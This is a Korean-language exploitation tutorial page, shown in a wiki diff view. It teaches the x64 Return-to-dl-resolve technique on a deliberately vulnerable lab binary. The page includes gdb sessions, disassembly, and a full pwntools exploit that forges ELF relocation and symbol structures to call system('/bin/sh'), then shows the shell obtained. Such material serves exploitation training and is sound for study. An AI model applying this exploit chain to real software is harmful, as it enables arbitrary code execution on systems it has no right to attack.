Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Excuse the ads! We need some help to keep our site up.

List

Table of Contents
excludeList

Return-to-dl-resolve - x64

  • Return-to-dl-resolve란 프로그램에서 동적라이브러리 함수의 주소를 찾기 위해 Lazy binding 을 사용할 경우 활용이 가능한 기법입니다.
  • Return-to-dl-resolve는 Lazy binding 을 악용해 필요한 함수를 호출합니다.

Lazy binding

Source code - struct

  • x86과 x64의 차이점은 Elf32_Rel, Elf32_Sym 구조 대신 Elf64_Rela, Elf64_Sym 구조를 사용하는 것입니다.
  •  여기서 중요한 것은 구조체의 크기가 변경된다는 것입니다.
    • Elf32_Rel 구조체의 크기(8 byte) → Elf64_Rela 구조체의 크기(24 byte)
    • Elf32_Sym 구조체의 크기(16 byte) → Elf64_Sym 구조체의 크기(24 byte)
  • 이로 인하여 reloc_offset 값이 주소의 offset 값이 아닌 Elf64_Rela 구조체의 배열 인덱스가 되어야 합니다.

...

Panel
titlestrtab + sym->st_name (x64)

Proof of concept

Example code

Code Block
languagecpp
//gcc -fno-stack-protector -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    read(0, buf, 512);
}
 
void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

Overflow

  • 다음과 같이 Breakpoints를 설정합니다.
    • 0x400566 : vuln 함수 코드 첫부분

    • 0x40057f : read() 함수 호출 전

...

Code Block
titleCheck overflow
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/dl-resolve/x64/rop 
Hello ROP
Breakpoint 1, 0x0000000000400566 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe488	0x7fffffffe488
gdb-peda$ c
Continuing.

Breakpoint 2, 0x000000000040057f in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe440	0x7fffffffe440
gdb-peda$ p/d 0x7fffffffe488 - 0x7fffffffe440
$1 = 72
gdb-peda$ 

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.

...

Panel
title확인해야 할 정보 목록
  • Section Headers
    • .dynsym
    • .dynstr
    • .rela.plt
    • .plt
    • .got.plt
    • .bss
  • read@got , write@got 주소
  • FAKE reloc_offset, Fake Elf64_Rel, Fake Elf64_Sym 구조체

Find Section Headers

  • 다음과 같은 방식을 Section Headers를 찾을 수 있습니다.

...

Code Block
titlePWNTOOLS
from pwn import *
from struct import *
   
#context.log_level = 'debug'
elf = ELF('./rop')
 
# get section address
addr_dynsym     = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr     = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relaplt     = elf.get_section_by_name('.rela.plt').header['sh_addr']
addr_plt        = elf.get_section_by_name('.plt').header['sh_addr']
addr_got    = elf.get_section_by_name('.got.plt').header['sh_addr']
addr_bss        = elf.get_section_by_name('.bss').header['sh_addr']
addr_got_read   = elf.got['read']
addr_got_write   = elf.got['write']
 
log.info('Section Headers')
log.info('.dynsym  : ' + hex(addr_dynsym))
log.info('.dynstr  : ' + hex(addr_dynstr))
log.info('.rela.plt : ' + hex(addr_relaplt))
log.info('.plt     : ' + hex(addr_plt))
log.info('.got     : ' + hex(addr_got))
log.info('.bss     : ' + hex(addr_bss))
log.info('read@got : ' + hex(addr_got_read))
log.info('write@got : ' + hex(addr_got_write))

Find gadget

  • 해당 바이너리에서는 "POP RSI", "POP RDI" Gadget을 찾을수 있지만, "POP RDX" Gadget을 찾을 수 없습니다.

    • 해당 바이너리에서는 lib 의 주소도 제공되지 않습니다.

...

Code Block
titleobjdump -M intel -d ./rop
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ objdump -M intel -d ./rop
./rop:     file format elf64-x86-64
 
Disassembly of section .init:
...
 
Disassembly of section .plt:
...
 
Disassembly of section .text:
...

00000000004005b0 <__libc_csu_init>:
  4005b0:	41 57                	push   r15
  4005b2:	41 56                	push   r14
  4005b4:	41 89 ff             	mov    r15d,edi
  4005b7:	41 55                	push   r13
  4005b9:	41 54                	push   r12
  4005bb:	4c 8d 25 4e 08 20 00 	lea    r12,[rip+0x20084e]        # 600e10 <__frame_dummy_init_array_entry>
  4005c2:	55                   	push   rbp
  4005c3:	48 8d 2d 4e 08 20 00 	lea    rbp,[rip+0x20084e]        # 600e18 <__init_array_end>
  4005ca:	53                   	push   rbx
  4005cb:	49 89 f6             	mov    r14,rsi
  4005ce:	49 89 d5             	mov    r13,rdx
  4005d1:	4c 29 e5             	sub    rbp,r12
  4005d4:	48 83 ec 08          	sub    rsp,0x8
  4005d8:	48 c1 fd 03          	sar    rbp,0x3
  4005dc:	e8 1f fe ff ff       	call   400400 <_init>
  4005e1:	48 85 ed             	test   rbp,rbp
  4005e4:	74 20                	je     400606 <__libc_csu_init+0x56>
  4005e6:	31 db                	xor    ebx,ebx
  4005e8:	0f 1f 84 00 00 00 00 	nop    DWORD PTR [rax+rax*1+0x0]
  4005ef:	00 
  4005f0:	4c 89 ea             	mov    rdx,r13
  4005f3:	4c 89 f6             	mov    rsi,r14
  4005f6:	44 89 ff             	mov    edi,r15d
  4005f9:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
  4005fd:	48 83 c3 01          	add    rbx,0x1
  400601:	48 39 eb             	cmp    rbx,rbp
  400604:	75 ea                	jne    4005f0 <__libc_csu_init+0x40>
  400606:	48 83 c4 08          	add    rsp,0x8
  40060a:	5b                   	pop    rbx
  40060b:	5d                   	pop    rbp
  40060c:	41 5c                	pop    r12
  40060e:	41 5d                	pop    r13
  400610:	41 5e                	pop    r14
  400612:	41 5f                	pop    r15
  400614:	c3                   	ret    
  400615:	90                   	nop
  400616:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax*1+0x0]
  40061d:	00 00 00 
0000000000400620 <__libc_csu_fini>:
  400620:	f3 c3                	repz ret 

Disassembly of section .fini:
0000000000400624 <_fini>:
  400624:	48 83 ec 08          	sub    rsp,0x8
  400628:	48 83 c4 08          	add    rsp,0x8
  40062c:	c3                   	ret    
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$

FAKE reloc_offset, Fake Elf64_Rel, Fake Elf64_Sym

  • 다음과 같이 Fake 정보 영역을 확보합니다.

    • addr_reloc 영역은 다음과 같이 계산됩니다.

      • addr_reloc의 기본 영역은 base_stage + 8*26 입니다.

      • 구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.

        • Elf64_Rel 구조체는 ".rela.plt" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.

      • base_stage ~ base_stage + 8*26 영역에는 return-to-csu Code가 저장됩니다.

    • addr_fake_sym 영역은 addr_reloc 에 Elf64_Rel 구조체 크기(24)을 더한 곳에 위치 합니다.

      • 구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.

        • Elf64_Rel 구조체는 ".dynsym" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.

    • addr_fake_symstr 영역은 addr_fake_sym 에서 Elf64_Sym 구조체 크기(24)를 더한 곳에 위치 합니다.

    • addr_fake_cmd 영역은 addr_fake_symstr 에서 문자열 "system\x00"(7)을 더한 곳에 위치 합니다.

  • 다음과 같이 Fake Elf32_Rel, Fake Elf32_Sym에 필요한 정보를 생성합니다.

    • addr_reloc 값에서 addr_relaplt 값을 빼서 값에 Elf64_Rel 구조체 크기(24)를 나누어서 fake_reloc_offset 값을 생성합니다.

      • (addr_reloc - addr_relaplt) / 24

    • fake_r_info 값은 다음과 같이 생성합니다.

      • addr_fake_sym 값에서 addr_dynsym 값을 뺀값에 구조체의 크기(24)를 나눕니다.

      • ELF32_R_TYPE 영역을 초기화 하기 위해 해당 값에 32로 '<<' 연산합니다.

      • ELF32_R_TYPE 값을 저장하기 위해 OR 연산을 이용하여 해당 영역에 0x7을 저장합니다.

    • addr_fake_symstr 값에서 addr_dynstr 값을 빼서 fake_st_name 값을 생성합니다.

...

Code Block
titlePermission of memory.
gdb-peda$ vmmap 
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop
0x00007f63119e5000 0x00007f6311ba5000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
...

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)

  • 해당 문서에서 제공되는 Exploit code에는 "l->l_info[VERSYMIDX (DT_VERSYM)"영역에 값을 0으로 덮어씁니다.
    • "l->l_info[VERSYMIDX (DT_VERSYM)" 코드는 심볼의 버전 정보를 회득하는 부분입니다. 
    • 해당 영역에 값을 0으로 변경하지 않으면 다음과 같은 에러가 발생합니다.

...

Code Block
languagecpp
titlehttps://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#86
	const struct r_found_version *version = NULL;
 
	if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
		const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
		ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
		version = &l->l_versions[ndx];
		if (version->hash == 0)
			version = NULL;
	}

Exploit code

Code Block
languagepy
titleRop.py
from pwn import *
from struct import *
   
#context.log_level = 'debug'
elf = ELF('./rop')
 
# get section address
addr_dynsym     = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr     = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relaplt     = elf.get_section_by_name('.rela.plt').header['sh_addr']
addr_plt        = elf.get_section_by_name('.plt').header['sh_addr']
addr_got    = elf.get_section_by_name('.got.plt').header['sh_addr']
addr_bss        = elf.get_section_by_name('.bss').header['sh_addr']
addr_got_read   = elf.got['read']
addr_got_write   = elf.got['write']
 
log.info('Section Headers')
log.info('.dynsym  : ' + hex(addr_dynsym))
log.info('.dynstr  : ' + hex(addr_dynstr))
log.info('.rela.plt : ' + hex(addr_relaplt))
log.info('.plt     : ' + hex(addr_plt))
log.info('.got     : ' + hex(addr_got))
log.info('.bss     : ' + hex(addr_bss))
log.info('read@got : ' + hex(addr_got_read))
log.info('write@got : ' + hex(addr_got_write))
 
addr_csu_init1 = 0x40060a       #   
addr_csu_init2 = 0x4005f0       #   
addr_leave_ret = 0x00400585	# leave; ret
addr_ret = 0x00400419		# ret
  
stacksize = 0x600
base_stage = addr_bss + stacksize
 
#write(1,addr_got+8,8)
buf1 = 'A' * 72
buf1 += p64(addr_csu_init1)
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_write)
buf1 += p64(8)
buf1 += p64(addr_got+8)
buf1 += p64(1)
buf1 += p64(addr_csu_init2)
#read(0,base_stage,400)
buf1 += 'AAAAAAAA'
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_read)
buf1 += p64(400)
buf1 += p64(base_stage)
buf1 += p64(0)
buf1 += p64(addr_csu_init2)
#JMP base_stage + 8
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(base_stage)		# rbp
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(addr_leave_ret)

binary = ELF('./rop')
p = process(binary.path)
p.recvn(10)  
#sleep(20)
p.send(buf1)

#Get address of addr_dt_versym
addr_link_map = u64(p.read(8))
addr_dt_versym = addr_link_map + 0x1c8

addr_reloc = base_stage + 8*26
align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24)
addr_reloc += align_reloc
align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24)

addr_fake_sym = addr_reloc + 24
addr_fake_sym += align_dynsym
addr_fake_symstr = addr_fake_sym + 24
addr_fake_cmd = addr_fake_symstr + 7

fake_reloc_offset	= (addr_reloc - addr_relaplt) / 24
fake_r_info	= (((addr_fake_sym - addr_dynsym) / 24) << 32)	#FAKE ELF32_R_SYM
fake_r_info	= fake_r_info | 0x7								#FAKE ELF32_R_TYPE
fake_st_name = addr_fake_symstr - addr_dynstr

log.info('')
log.info('Fake Struct Information') 
log.info('addr_csu_init1 :'+ hex(addr_csu_init1))
log.info('addr_got_read :'+ hex(addr_got_read))
log.info('addr_dt_versym :'+ hex(addr_dt_versym))
log.info('addr_csu_init2 :'+ hex(addr_csu_init2))
log.info('addr_ret :'+ hex(addr_ret))
log.info('base_stage + 8*9 :'+ hex(base_stage + 8*9))
log.info('addr_fake_cmd :'+hex(addr_fake_cmd))
 
#read(0,addr_dt_versym,8)
buf2 = 'AAAAAAAA'
buf2 += p64(addr_csu_init1)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(addr_got_read)
buf2 += p64(8)
buf2 += p64(addr_dt_versym)
buf2 += p64(0)
buf2 += p64(addr_csu_init2)
#Setting argument values of system() function
buf2 += p64(addr_ret)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(base_stage + 8*9)	#address of addr_csu_init2
buf2 += 'B' * 8
buf2 += 'B' * 8
buf2 += p64(addr_fake_cmd)	#"/bin/sh"
buf2 += p64(addr_csu_init2)
buf2 += 'C' * 0x38
#_dl_runtime_resolve(struct link_map *l, fake_reloc_offset)
buf2 += p64(addr_plt)
buf2 += p64(fake_reloc_offset)
buf2 += 'A' * align_reloc
# Elf64_Rela
buf2 += p64(addr_got_read)     
buf2 += p64(fake_r_info)
buf2 += p64(0)
buf2 += 'A' * align_dynsym
# Elf64_Sym
buf2 += p32(fake_st_name)           
buf2 += p32(0x12)
buf2 += p64(0)
buf2 += p64(0)
#String "system"
buf2 += 'system\x00'
#String "/bin/sh"
buf2 += '/bin/sh\x00'
 
#sleep(10)
p.send(buf2)
#sleep(10)
p.send(p64(0))
p.interactive()
Code Block
titleGet shell!
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ python exploit.py 
[*] '/home/lazenca0x0/Exploit/dl-resolve/x64/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Section Headers
[*] .dynsym  : 0x4002b8
[*] .dynstr  : 0x400330
[*] .rela.plt : 0x4003b8
[*] .plt     : 0x400420
[*] .got     : 0x601000
[*] .bss     : 0x601040
[*] read@got : 0x601020
[*] write@got : 0x601018
[+] Starting local process '/home/lazenca0x0/Exploit/dl-resolve/x64/rop': pid 19575
[*] 
[*] Fake Struct Information
[*] addr_csu_init1 :0x40060a
[*] addr_got_read :0x601020
[*] addr_dt_versym :0x7f9b90b08330
[*] addr_csu_init2 :0x4005f0
[*] addr_ret :0x400419
[*] base_stage + 8*9 :0x601688
[*] addr_fake_cmd :0x601757
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

References

...